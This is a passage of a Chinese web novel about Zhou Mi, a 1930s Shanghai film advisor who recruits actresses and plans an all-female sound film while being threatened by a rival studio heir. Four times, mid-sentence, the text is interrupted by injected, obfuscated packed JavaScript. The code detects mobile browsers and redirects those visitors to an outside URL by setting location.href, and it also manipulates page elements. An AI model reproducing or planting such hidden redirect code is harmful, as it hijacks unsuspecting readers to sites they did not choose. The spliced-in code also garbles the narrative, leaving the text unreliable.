门房披着旧棉袄从里间晃出来,两个眼袋垂得像鼓眼的金鱼,他揉着眼睛,打了个沉长的哈欠: “周小姐,晚上有位孙祺瑶小姐来找您,等了快两个钟头。见您一直没回,问我要了纸笔,留了封信,说是务必交给您。” 周弥道了声谢,转身上楼。洗漱停当,换上睡袍后,望着床头柜上那封信,心想无非又是道歉的话,满纸“对不起”一类的窝囊字眼,看了更添烦闷。 她将信封往桌上一扔。信封压得平展,边角却微微卷着,想来是对方攥在手里等了许久的缘故。 孙祺瑶竟肯在寒夜里等她两个钟头。 有什么话这么要紧?她迟疑一瞬,她还是伸手把信封拆开。 信上是这样写的: 周弥姐姐惠鉴: 首先,为我食言反悔之事,再次向姐姐郑重致歉。 自冰场归来,心中煎熬,反复思量。本欲将那些难以启齿的心思剖白于你,在公寓外久候不至,我这懦弱之人,竟又在等待中让勇气一点点流失了。若姐姐尚未厌弃我到不愿垂览的地步,便恳请你再读下去。 关于这件事,我独自想了很久,很仔细,也很痛苦:我究竟为何会那样?为何明知是错,却仍选了最令你失望的那条路? 如今,我想我明白了。 根源在于我的虚荣。 与珍珍一处时,我总能分得许多本不属于我的注视与殷勤。男孩子赠我糖果,替我拎书包,在舞会上邀我共舞……我心里清楚,那些笑容与体贴并非给我。他们只是想靠近珍珍,才不得不先来敷衍我这个“影子”。 可是,我竟也沉溺其中。 即便那温情是借来的,目光是折射的,我也像抓住救命稻草般,紧紧攥住那一点可怜又可悲的“被需要感”。我惧怕一旦离开珍珍的光环,我便又会变回那个缩在角落、无人看见的孙祺瑶。 姐姐,因我真心敬你、慕你,才敢将这些污糟心思付诸笔墨。写下这些字时,只觉羞耻难当,脸上发烫,指尖冰凉。这般念头,我从未对任何人言说,因其不堪至此,连我自己都深为不齿。 对不起。我辜负了你的鼓励,浪费了你为我费的心力,终究还是让你失望了。 最后,若你的电影还需要声音,我愿来配音。这是我目前唯一能想到的、稍作弥补的方式。更盼姐姐还愿容我做一个远远望着你、敬着你的朋友。 夜深灯下,心绪零乱,言辞潦草,望乞恕宥。 妹祺瑶谨上 读完这封信,周弥心中一阵动容。 孙祺瑶绝不是怯懦的人。她能将自己的羞耻之处剖白于人前,这是何等的勇气? 冰场上那些严厉的话,此刻忽然变得沉重起来。自己是否对她太苛责了? 她只是一个在成长中迷惘的女孩,在寻找自我的路上跌跌撞撞。而自己,或许少了几分耐心,多了几分急切的期待。 想到这里,周弥铺开信纸,提笔回信: 祺瑶青览: 信已收悉。灯下细读,见字如面。你能作此剖白,我心中并无失望,反觉欣慰,只因直面内心需要更多勇气。 你信中所言“虚荣”,我看来,不过是人之常情,是对“被看见”、“被需要”的一点本能渴望。这并非罪过,只是你尚未找到属于自己的光源,暂且借了别人的烛火取暖罢了。 但你有没有想过,终有一日,那糖果、书包、舞伴,甚至更真诚的倾慕与掌声,都会是冲着你本人而来?你不要觉得这是痴想。 你害怕失去珍珍,除了因为你是一个重情谊的女孩之外,还有内心不够勇敢的缘故,你不敢信任自己。既如此,也不必强求立刻分离,她既去华光公司,你也可随她一道去。我已得知,华光已经决定对你予以聘用。 这一次,你要换一种眼光去看、去学、去经历。 你要留心观察:也许你对台词节奏的领悟比她更快,也许你在镜头前的情绪比她更有力量,也许你能吃下她吃不下的苦,扛住她扛不住的压力。 这些细微的“也许”,就是你未来安身立命的基石。 待你凭自己赢得第一声肯定的那一刻,待你发觉自己拥有她无法取代的珍贵之处时,你就会开始信任自己。 到那时,你便不会再恐惧失去任何人。 因为,你已成为了自己最好的朋友,最可靠的盟友,最坚实的后盾。 路在脚下,何妨举步一试? 作为你的朋友,我愿立于阶下,静候你一步一步,拾级而上。 最后,我再次恳切相求—— 在一切尚不明朗的境遇下,也请千千万万次信任自己,不要将那个光芒万丈的未来,仅仅当作一场痴想。 周弥灯下书 窗外夜色正缓慢褪去,天空泛起鱼肚白。她把信仔细折好,放进信封,交给睡眼惺忪的门房,嘱咐务必一早送到孙祺瑶的学校。 一宿没睡,精神倒还亢奋,周弥上楼规划了一下今天的日程,决定趁早联系林青秋,把她定下来。 她按照名片地址摸到了林家,门房却告知林青秋一大早就往众一电影公司去了。 林青秋已是有些名气的演员,周弥想她若要接戏,定然不会去选角部,只会直接联系高层,于是索性直奔邵同的办公室。 邵同正在批阅文件,见她进来,摸摸了摸下巴,“你那个‘盲盒’的点子,实在漂亮哇!” 他放下笔,身体微微后靠,“最妙的是后续。我听说,有人把摊子掀了,最后倒成了‘抢盲盒抢红了眼’闹出的乱子。黑的都能被周小姐说成白的,手段高明,我很满意。” 呃,好像是夸奖,但怎么听着这么不悦耳呢! 从邵同那里一问,林青秋果然来找过她,不用说,又是铩羽而归。 按时间推算,林青秋应当也就刚下楼没多久。以她的心思,求职定是先找有过合作的华光,再找风格相近的众一,若是接连碰壁走投无路,下一步,多半会去瑞星碰运气。 瑞星最看重当下的星光,按道理讲,她不可能被瑞星主力项目录用。 但瑞星的烂片真的太太太多了,烂片多的公司下限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137226|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都低,很有可能引诱林青秋去某烂片做噱头,林青秋最近连续求职失败,被打击的自尊水平极低,这时候最易昏头… 万一如此,那就太可惜了。 她得抓紧时间,赶在林青秋做出决定前截胡才行。 一出大门,正好看见林青秋弯腰坐上一辆人力车,车夫已经抬起车把,迈开了步子。周弥抬手急招另一辆人力车,跟了上去。 林青秋的目的地果然是瑞星。 “瑞星影片公司”六个巨大的铜铸楷体字在冬日的天光下闪着金褐色光泽。这里是沪上闻名的“烂片生产基地”,却也是魔力无穷的“顶级造星场”。 黑色雪佛兰或凯迪拉克轿车时不时驶入门前环形车道,衣着光鲜的男女从车上下来,在门童殷勤的接待中步入玻璃大门。 周弥几乎在林青秋付钱下车的同一瞬间,也跃下了自己的人力车。 “林小姐!” 林青秋闻声,脚步一顿,有些迟疑地回过头来。当她看清是周弥时,眼中闪过一丝意外。 “周小姐?”她笑着打了个招呼,“有事?” “有事。”周弥点了一下头,省去一切寒暄,直入主题: “林小姐,昨晚刚见过,客套话我就不多说了。我手头有一部戏,一个角色,思来想去,非你不可。不知你愿不愿意来?” 林青秋刚从众一碰了软钉子,心下本是灰了大半。 来瑞星,不过也是抱着最后一点渺茫的希望走个过场。毕竟要说星光,瑞星是最潮流的,更不会再收留她这样“过气”的昨日黄花。 连日来耳边充斥的“不合适”、“戏份少”、“考虑新人”等字眼,早已将她的自信打击得摇摇欲坠,“非你不可”这四个字,像一道猝不及防的强光,给她带来一阵近乎眩晕的暖意。 她急切追问:“是陆先生批准的吗?” 周弥摇了摇头:“林小姐误会了。这是我自己的电影,资金、班底、剧本,都和华光没有关系。” 这让林青秋发热的头脑冷静了几分。 自己的电影? 她本以为,能与华光高级顾问合作,那是背靠大树。但现在听起来,全然不是自己想的那样。 她虽然处境艰难,骨子里那点明星的傲气尚在。沪上每天都有无数名不见经传的小作坊诞生又倒闭,她是不愿、也不敢轻易踏足的任何小作坊的。 说到底,吃明星这碗饭,靠的是“脸面”二字——“脸”是幕前的长相身段,“面”是幕后的身价与排场。 如果接了这等小作坊的戏,且不说片子十有八九会胎死腹中,血本无归。 即便侥幸上映了,除非能再造巅峰,否则等待她的,必是同行明里暗里的奚落,以及报刊上“过气明星沦落小作坊”的刺眼标题。 林青秋如今影迷虽流失大半,总有少许念旧的留在原地,如果她不接戏,这些影迷没准还对她还有保有期待,只会觉得她只是暂时没有遇到想接的电影。 一旦接了小作坊的戏又翻身失败,影迷就会认定她山穷水尽,那她就再无翻身之日了。 33. 组建团队(二) 林青秋这么想着,笑道:"我这种已经生过孩子的,哪还有什么非我不可的角色。周小姐真是太高看我了。" 这话表面是自谦,其实是婉拒的意思。 周弥摇了摇手:"林小姐这么优秀的女演员,可不能就这样放弃了,我这里有一个本子,不是专讲男女恋爱的,是否婚育,根本没有影响。" 林青秋有些惊讶,不讲男女恋爱,能讲什么呢?现在电影院里,虽然题材不同,但除了讲男女恋爱的,就是讲兄弟父子情的。不讲男女恋爱,难道让她反串男角色去演兄弟父子情吗? 从来都是男演员可以反串女角色,没听说女演员可以反串男角色的。 眼前这位周小姐,能得陆世铮青眼,想必人脉与眼光都不俗。但如今哪家能张罗起来的小作坊,背后主事人没有大厂的履历和人脉撑着? 还不是说倒闭就倒闭。 她为了让自己去演她的电影,也是无所不用其极,什么话都敢递,只可惜我有些演艺经验,知道圈子里没这回事。 周弥看林青秋犹豫着不说话,大概猜得到她在想些什么,因笑道: "林小姐,站在这里,实在太冷了,我看旁边有家咖啡馆,不然我们去喝杯咖啡,你先听听剧本,再做决定好不好呢?" 这话说得体贴,又给了彼此台阶。林青秋没有不同意的道理。 两人正要走,从瑞星公司里头走出来一人,那人穿着件墨绿色丝绒旗袍,外罩一件剪裁精良的驼绒大衣,正是白秋宁。 白秋宁看到周弥在这里,以为是过来特意找她的,心里一喜,又看到旁边还站着一名女子,像是林青秋,走近一看,果然就是她。 这两个也算神交过的。白秋宁之前看过林青秋拍电影,林青秋也从一些社交聚会上听过这位瑞星大小姐的名字。两人打了个招呼,寒暄了几句。 周弥笑道:"正好,没做准备,人还恰好凑齐了。" 三人一齐到了最近的咖啡馆,各自选了一款咖啡后,周弥开始说起剧本。 “林小姐,我要拍的故事,骨架是现在最卖座的神怪武侠,但内容却和市面上的任何一部都截然不同。” 她先卖了个关子,见林青秋果然被挑起兴趣,接着说: “故事的主角,是杨树浦纱厂里一个最普通的女工。她人生唯一的慰藉,就是每个疲惫不堪的深夜,借着棚户区那盏昏黄的电灯,一遍遍翻看那本被翻烂了边的神怪武侠小说,幻想自己就是书里那般快意恩仇、来去如风的女侠。” “然后有一天,她真的‘进去’了。只不过,她没有变成书中那位武功高强、命运跌宕的女主角,而是变成了原著开头第一回里,那个心怀叵测、要给女主角下药的而被杀死的反派配角。” 林青秋惊奇道:“这故事好新奇!从来没见过。普通人,当真能钻进书里的故事去?还成了这样一个角色?” 白秋宁道:"这叫穿书,西洋最新潮的幻想小说里,已经有这类设想了,只不过搬到咱们的神怪武侠里头来演,还是头一遭吧?是不是很新鲜?” 周弥听到白秋宁如此笃定地给“穿书”下定义并归为西洋潮流时,好笑又无奈。 其实这个年代的外国顶多也就是有爱丽丝梦游仙境那样的异世界小说,又或者时空旅行那样的穿越小说,但是穿书嘛,至少从后世的史料来看,绝对还没出现过。 林青秋已经完全信任了白秋宁的话,若有所思地点点头,似乎在脑中飞速检索着什么。忽然,她眼神一亮,抬眸看向周弥: “周小姐,这开头的情境,听着耳熟。下药的反派被女主角杀死……这桥段,倒让我想起顾生明先生前年在《沪江晚报》上连载的那部《荒野女侠》了。第一回,是不是就叫‘月夜惊变,翠羽峰下’?” 周弥点点头。在这个时代,能在报纸上长期连载、并结集出版形成广泛影响的小说本就不多,顾生明的《荒野女侠》确是当年一大热门,林青秋能立刻叫出名字也很正常。 林青秋很激动:“我很喜欢这本小说!这样一改编就更有意思了,人人都知道《荒野女侠》的开局,人人都知道那个翠羽峰的叛徒必死无疑。可我们这个故事里,这个必死之人她活了,她还知道故事的走向,那不就和上帝一样么?" 周弥听林青秋已经把这个故事称为"我们这个故事",便知道她肯定会接演了,笑道:"是的,所以我说,我们这个故事绝对和世面上所有的故事都大不同。" 林青秋原本对加入一个无名剧组心存疑虑,此刻却被这个奇绝的设定深深吸引。她又急切又期待地问:“那么,周小姐,你邀请我来,是希望我饰演那位知晓一切的女工人吗?” 周弥摇摇头,"也没必要瞒你,这个电影白小姐是资方,所以女工人的角色是给白小姐的。我想邀请你演的是原书的女主角。" 林青秋大吃一惊。吃惊的不是白秋宁想拍电影,而是白秋宁放着自家这么大一个制片厂的资源不用,却要演出小作坊的电影,还要为这个小作坊投资… 这位周小姐还真是有本事,竟能拿到两大制片厂的资源。 一个能让瑞星大小姐押注的团队,一个构思如此精妙的故事,哪怕演的是原著女主而非穿越核心,其份量与机会也已远胜许多空有噱头的所谓“大制作”。 最令她心动的是,周弥的这番承诺: “林小姐,这不仅仅是一部电影。这是我们共同的事业起点。我与你签约,不是单部片约,而是‘制片人-演员’的长期合作。这部电影成功后,我会成立自己的制片厂,而你,将是厂牌下的专属演员,享有票房分红和项目话语权。” 在当时,电影圈的主流模式还是部头约或者片约制。绝大多数演员与电影公司签订的都是“一部电影一签约”的短期合同。拍完即散,关系松散。 当然,少数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147555|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演员也有“长期合约”,但更像是“优先权合约”或“学徒制”。 这种制度通常约定演员在固定年限不得为其他公司拍片,本公司提供固定月薪,并保证每年提供电影的出演机会。但片酬分成低,自主权极小。 林青秋生育之前算是一线演员,因此也有机会签过这种长期合约。 但这种长期合约有好有坏。 好处是比较稳定,能够保持一个稳定的曝光率和收入,坏处是一揽子买卖,没有任何议价权,更别说票房分红、项目话语权这些权益了。 所以,周弥的承诺实在太吸引人了!林青秋脸上呈现出压抑不住的心动。 见她动心,周弥当场从随身的皮包里取出一式两份的合同,铺在咖啡桌上。这显然是得了孙祺瑶临时变卦的教训,此番决心要将一切落于白纸黑字,再无反复。 林青秋仔细看过条款,发现刚才所说的内容都在合同里面清晰地写着,心里踏实了不少。一边签字,一边随口问了句: “周小姐,那这部戏的男主角,定了谁呢?” 没想到又是石破天惊。 “这部戏没有男主角。” “没有男主角?” 这下就连白秋宁也怔了怔,脸上写满了困惑。两个女人拍一部戏,却没有男演员? 这简直闻所未闻。 “不不不,不是没有男演员,只不过我们的故事是两个女主角。”周弥耐心解释,“咱们拍的不是《女儿国》,就算是《女儿国》,还有个误入的唐三藏呢。这世上有女自然有男,咱们的故事里当然也有男性角色,只不过所有的男角色,都是配角。故事的轴心,从头到尾,都只在两位女性身上。” 白秋宁与林青秋对视一眼,都从对方眼中看到了震撼与犹疑。 神怪武侠让女性当主角,已是凤毛麟角,如今这“双女主”的设定,更是石破天惊。 两个女人的故事,所有男性都是配角……这戏拍出来,观众能认吗?市场能容得下吗? “秋宁,你怎么想?”周弥转向她,“没信心么?” 白秋宁也不说有,也不说没有,只是拿银匙慢悠悠搅着杯底的残糖,唇角一翘:“听起来倒是蛮爽的,不必被男人抢风头。至于市场怎样?” 她轻轻一耸肩,“反正是我头一部戏,我呀,演得爽快最要紧。这故事听着就痛快,别的,我才懒得管。” 林青秋则是说:“以我眼下的境况,再去演那些缠绵悱恻的恋爱戏,也确实不合时宜了。这种以女性情谊和江湖冒险为骨的故事,倒真是开了条新路。” 她顿了顿,语气变得更加郑重,“不论最后票房如何,能参与这样一部戏,能为以后的女演员开一条新路,本身已经是件很有价值的事。” 呃…… 一个图“爽快”,一个说“有价值”,话倒是说得很漂亮,可怎么听都是对卖座不抱希望的样子。 34. 组建团队(三) 白秋宁问:"那其他人员怎么办呢?反正是不好从瑞星拉人的。" 周弥将自己的计划简单和她们说了说。 华光正在大规模选角,简历是现成的人才库,她可以拿到一部分,从中笼络一些新面孔作为配角演员。道具和置景她已经有筹措渠道,那就是众一的库藏。 “最关键的,是幕后班底。导演、编剧、剪辑、制片、冲印、照明、场务……这些核心环节,我一个人分身乏术。我们资金有限,团队还不能规模化,所以每个人最好暂时身兼一两项职能。” 白秋宁虽从小在片场玩耍,但父亲始终以闺阁女子不宜涉足为由,从不许她真正接触学习。除了能主演电影之外,还能亲手参与制作,这对她的诱惑力很大。 林青秋演过许多戏,但对影片制作也是外行,她做演员之前也读过一些书,在求知识这方面是很上进的,于是也很有兴趣。 一番热切商议后,分工很快明晰: 白秋宁主动揽下了制片的工作,林青秋则对冲印展现出了浓厚兴趣。导演与剪辑技术性要求更高,周弥来做。 “这些工作倒可以挤出时间完成,照明、场务也不难找的到兼职,但是还缺一个懂录音的人手。” “录音?”白秋宁闻言,手中的银匙在杯沿一顿,眼睛中有讶异之色,“周弥,你……你难道打算拍有声电影?” 周弥笑道:“怎么,不能么?秋宁是怕步子迈得太大,抢在你父亲前头,反而不好意思了?” “我有什么不好意思的!”白秋宁几乎脱口而出,下颌微扬,“若是能成,那再好不过!正好让他瞧瞧,省得他终日觉得,只有我那几个哥哥才配碰他的‘事业’!”她声音清亮,带着一股不服输的热切。 然而,这股热血只沸腾了片刻,便渐渐回落。她端起咖啡抿了一口,声音低了几分: “只是我觉得,这事怕是不太可能。父亲虽从不与我细说生意,可我瞧他和我哥哥们近一年来,时常眉头紧锁,在家里书房一谈就是半宿,我隐约听过几句,好像目前的技术并不成熟,限制也多,花了很多钱,也达不到想要的效果。总之,这个非常烧钱还未必能成功的事。” 一提到钱,周弥马上接话:“对了,既然你要承担制片,有一块预算我想和你提前定下来。我们需要留一笔钱,向顾生明先生购买《荒野女侠》的电影改编版权。” 白秋宁一下没反应过来:“版权?……啊,你是说,给顾生明钱?我从没听说拍戏前还要给原著作者钱的呀?不都是看中了就直接拍吗?” 她有这种反应也不足为怪。这时候的上海电影界,对版权二字的认知近乎于无,奉行的是最直白的“拿来主义”。 一部小说若在报纸上连载火了,不出三个月,必有数家电影公司争相将其搬上银幕。但无人会想到要事先征得作者同意,更遑论支付报酬。 1910年的《大清著作权律》和1928年颁布的《著作权法》中其实有提到对“改编权”的保护。但在这个时代,这些条文形同虚设。 通行的“规矩”是:先拍,拍了再说。若电影大卖,原作者闻讯找来,制片方或许会摆一桌酒,封一个远低于票房零头的润笔红包,美其名曰“聊表敬意,结个善缘”。 如果电影扑了,或作者人微言轻,那便是石沉大海,再无下文。 总体而言,在片商看来,能拍作者的书,是替作者扬名,作者该感激才对。 “我不是舍不得钱,就是觉得没必要。他虽然有些名气,但也不是现在最热门的作者,就算是了凡君那种级别的作者,也未必收得到版权费呢……" 周弥道:“那个……了凡君是谁呀?” 不知道是时空有错乱,还是那个时代的红人未必全部青史留名,总之,周弥之前从来没听过这个笔名。但听白秋宁的语气,似乎是很有名的作者。 果然,白秋宁瞪大了眼睛。 “了凡君你不知道?现在最火的言情小说作者,他的连载到了见报那天,排队的人长长一串,去晚了可就读不到了。顾生明还没到这水平呢!” 她顿了顿,"而且,这笔钱数目不小吧?要是匀出这一大块给顾先生,后面拍摄、冲印、人工,万一不够周转怎么办?更别说还要宣传…现在宣传的花样越来越多,你们听说没有,最近众一发明了一个盲盒宣传法,一下子就把一个不怎么样的电影票房抬高了。” 林青秋点点头,"听说了,我也去排队,买了好几个呢。" 白秋宁噗嗤一笑:"你也买?和主演不是好朋友吗?直接问她要不就行了?" 林青秋笑道:"那不一样,乐趣不同。" 白秋宁马上望向周弥:“我哥哥说,瑞星下次也准备搞这个盲盒了,看来以后是大势所趋。所以我们的电影也要这样搞宣传,不然会输在起跑线上。所以资金还是省着用才好。” 说到这,想到林青秋也是在上海电影圈浸润多年的人,马上用胳膊肘碰了碰她,“青秋,你说我讲的有没有道理呢?这笔钱是不是没有浪费的必要?” 林青秋果然点点头,“现在市面上,确实没一家这么做的。” 白秋宁马上又说:“是啊,我们第一个跳出来付钱,别人还以为我们傻呢!” 白秋宁说的每一个字,确实都是眼下最真实、最普遍的行业逻辑,如果不付这个版权费,不仅在当时的环境中不值一提,反而称得上“合群”。 但周弥有她必须坚持的理由。 这部电影,她是准备一举成名的。一部主创全部是女性的双女主电影,要跨越三大电影公司去摘取第一部有声片的桂冠,可以想见的是,一定会招来各种层面上的口诛笔伐。 商战,如果在成绩上压不过,通常就会在道德和舆论上进行围剿。这太见怪不怪了。 所以她需要一块无可指摘的道德高地,一个能让她在遭受攻击时,赢得文化界和评论界的支持。 四个字:引导舆论。 周弥正要把这件事和白秋宁说清楚,两个穿着时髦西装的男人说笑着走进来,坐在了周弥她们背后的卡座。 "喂喂喂,我跟你说件顶顶离奇的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156682|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我敢打包票,众一下部电影私募的股价,准得跌!” “为什么?他们刚上的《楚月关山》不是卖得挺红火?” 先前那人压低声音,却压不住语气里的幸灾乐祸:“那是两码事!我听说,邵老板下部重头戏,铁了心还要拍无声片!” “哦?这……可华光不也没动静吗?眼下就咱们瑞星在捣鼓有声片吧?” “哎,不一样!”那人手摆了两摆,“华光那是闷声不响,我听说他们技术部门就没歇着,日夜在攻关呢,是想等技术更瓷实了再一鸣惊人。可众一不一样,” 他故意顿了顿,才嗤笑道,“他们啊,好像是得了哪位‘高人’指点,竟然……啧啧,竟然打算死守默片这条破船了!你说好笑不好笑?” 对方"哦"了一声,还未说话,这人又抢着道: “众一那班子人,从上到下,老古板!我早听说,他们内部很看不起有声片,连带着也瞧不上咱们瑞星这种追时髦的。我有点人脉哦,听说最近去了个什么顾问,邵老板对她言听计从。我琢磨着,这坚守默片的馊主意,八成就是她给出的!” 另一人沉默了片刻,再开口时,语气却带上了不同的意味: “其实……老兄,说句掏心窝子话,我对这有声片的前景,也不看好,没准人家众一是对的。” “嗯?这话怎么说?” “你难道不知道,咱们瑞星这季度财务是赤字吗?就是搞有声电影搞的,一直烧钱一直失败呀!人家好莱坞领先咱们这么多年,因为搞有声倒闭的公司都是有的,更何况咱们国内这技术。你还笑人家众一股价,如果咱们再这样折腾下去,没准是咱们先倒咯!” 他的话戛然而止。 因为白秋宁已经“霍”地站了起来,转身面对他们,那双总是带着笑意的眼睛里此刻满是冰冷的怒意。 “两位,谁允许你们把公司的账目和决策在外面当谈资的?” 两个男人定睛一看,脸色“唰”地一下白了。他们显然认出了这位瑞星的大小姐。 “白、白小姐!我们胡说八道的,胡说八道的!”两人手忙脚乱地站起来,也顾不上喝咖啡,拿起外套帽子,放下一张钞票,逃也似的冲出了咖啡馆。 白秋宁颓然坐下,用手撑住额角,只吐出两个沉甸甸的字:“见笑。” 林青秋轻轻叹了口气: “看来,有声电影水很深,我想,我们这个项目,在题材上已经足够超前了,真的有必要去做有声电影吗?我之前看报,连卓别林先生都公开发言,说有声片不过是昙花一现的噱头呢。” 白秋宁手里搅着咖啡: “我也建议别做。我还奇怪呢,以陆世铮那力争上游的性子,这回怎么肯安安分分落在后头,原来是打着让瑞星冲在前面趟雷、他躲在后面吸取经验闷声发大财的主意!奇怪,他以前不是个热血青年么?什么时候也玩起谋略了?” 林青秋开玩笑似的:“说不定,也有人在他身边当顾问呢。” 周弥摸了摸耳朵,权当和自己完全不相关的样子。 35. 组建团队(四) "现在时兴请顾问了是不是?”白秋宁撇撇嘴,“可惜我那老爹,身边智囊团就是我那几个哥哥,一个出奇招的都没有。要是周弥你能来瑞星做顾问就好了,肯定比我那几个草包哥哥强。” 周弥心里想:我这是看在你面子,才手下留情,难道以为我去哪当顾问是件好事不成?我都是去挖资源的! 看白秋宁一直在替瑞星着急,忍不住开玩笑: “秋宁,你得把自己的立场定一定,要是将来咱们的片子,真和瑞星的电影撞在同一天上映,你可得旗帜鲜明。” “那不会,我哥哥的事业和我的事业,我分的还是很清楚的。” 她说这话时眉飞色舞,显然并没有仔细思考过的样子。周弥一看,就知道这位大小姐是把这次的拍摄当作一次演员梦的兑现,并不真的相信会对瑞星造成任何威胁。 三人又商议了些细节,林青秋惦念家中孩子,便各自起身告辞。 周弥坐上候在路边的人力车,报出地址,车夫刚刚抬起车把,还未起步,一只手从旁伸出,稳稳按在了车把上。 那手指节修长,戴着副黑面的皮手套。 她抬眼,发现是邵文谦站在车旁,那双总是冷淡的眼睛里,此刻浮着一层似笑非笑的薄光。 车夫看看这位气度不凡的先生,又看看车上的女客,踌躇着不敢动,只拿眼神询问周弥。 “邵公子,”她没下车,只微微仰头,“好巧。” “不巧。”邵文谦收回手,语气平淡,“从众一门口,我就跟着你了。” “……” 邵文谦笑了笑:“下来聊聊吧,别耽误人家赚钱。” 周弥很少看到他笑,实在有些好奇他此时的笑点,于是和车夫说了声抱歉,下了车。 她想听听他到底要说些什么。 那车夫是机灵人,平素最爱拉这等衣着体面的客人,这种客人出手阔绰,小费常比车资还厚。见二人似有话说,他拉着空车麻利地往远处挪了几步,殷勤笑道: “小姐先生你们忙,我正好歇歇脚抽袋烟!聊好了招呼一声就成!” 周弥与邵文谦走到路边一处背风的拐角。 这里是两栋西式建筑形成的天然夹角,一侧是青砖砌就的高墙,爬满冬日枯槁的藤蔓;另一侧是咖啡馆的后巷,隐约飘出烘烤咖啡豆的焦香与奶沫的甜腻。头顶只有有窄窄的一线天光,因此风被挡去了大半,是个适合私密聊天的地方。 “我在众一门口,看你火急火燎追着林青秋上车,觉着实在奇怪。” 邵文谦倚着冰冷的砖墙,从大衣口袋里摸出烟盒,并不点燃,只在指间把玩,“你名义上是华光的人,私下在为众一办事,却满大街追一个过气的、刚被众一拒之门外的女演员……” 他顿了顿,目光扫过方才咖啡馆的玻璃窗,“于是我就跟来了。结果,真叫我听了一出好戏。原来你背着华光,也背着众一,在给自己铺后路呢!” 说到这,邵文谦故意停了停,观察她的反应。但她看起来非常冷静,并没有预想中惊慌失措的样子。 他继续道:“不过…虽然听起来很扯,但我倒是比较看好你这个创意,与其你们自己摸着石头过河,不如交给众一来做。” 他说得轻描淡写,仿佛在施舍一个天大的恩惠。 周弥几乎要气笑了。 “邵公子,你是不是觉得,我看起来特别傻?” 邵文谦眉梢微挑。 “你既然知道我是怎么想的,我也不瞒你。我和众一的合作只是私下的,没有合同,你们无权对我在外工作有任何要求,我也没必要将自己平时的动向告知你们。最后,我想问,我自己的创意,凭什么要给众一用? 邵文谦把玩烟盒的手停住了,“周小姐,我以为你和众一至少算是有过合作约定的盟友。看来,你并不这么想。” “盟友的前提是互相尊重,且不说我当时是因为被威胁而迫于为众一工作,就算不提初衷,我要为众一做的事也做过了。你们那部《楚月关山》拍的这么差,如果不是我的主意,你们要赔多少钱,邵公子心里应该有数。" 她迎上邵文谦的目光,毫不退让,"你今天跟踪我、偷听我,现在又要强占我的项目,这不像盟友,更像强盗。” 邵文谦将烟盒塞回口袋,站直了身体,“周弥,你是不是忘了,你的身份、你的把柄都还捏在我们手里。跟我谈条件?” 赤裸裸的威胁。 街角的风卷着灰尘吹过,带着刺骨的寒意。 周弥静静地看着他。足足过了好几秒,她忽然轻轻笑了起来。 “邵公子,”她叹了口气,像是无奈,“你是不是也忘了点什么?” 邵文谦蹙眉。 “去说吧!去告发吧!去把我的背景问题捅给所有人听吧!反正打的又不是我的脸。是你的脸,是你父亲邵同先生的脸,是众一公司的脸。报纸是你帮我登的,不是我威胁你登的。如果我连你们都能威胁的了,那我的身份更没什么值得怀疑的了。” 邵文谦简直惊呆了,他简直不明白她一个女子,怎么敢和他们这些地头蛇硬碰硬的。 最重要的是,她竟然说的非常有逻辑。 他忍不住点燃一根烟,深深吸了一口,"周小姐,我第一次见如此厚颜无耻的女子,你非但不为撒谎感到羞愧,竟然还一副理所当然的样子。" 周弥一挑眉,不悦道:"得啦,你尽管可以说,第一次见如此厚颜无耻的人,但可不可以不要加性别?世界上又没有什么性格是男子的专属。邵公子连婚都敢骗,难道又是什么君子不成?" 邵文谦几乎大惊失色。 他失色的时候也是很冷的一张脸,只能从他的眼睛里看得到这种慌张。 他半天才挤出一个字,"你…" "邵公子,我比你君子的多,我掌握了你的秘密,却从来没有想过要拿它来攻击你、控制你,或者换取什么。可你今天跟踪我、偷听我,要挟我,抢夺我的东西。那么,也就别怪我不客气。” 邵文谦怔住了。 她这样说,显得自己好像很卑劣。 这个认知让他感到一阵陌生的刺痛。 就他本人的思想而言,他并不觉得自己有做什么有违道德的事。如果说没有爱情就是骗婚,那九成的人都是在骗婚。有什么了不起? 但一旦登了小报,被摊在普罗大众茶余饭口的谈资里,那就是丑闻,是风暴。 她明明可以主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 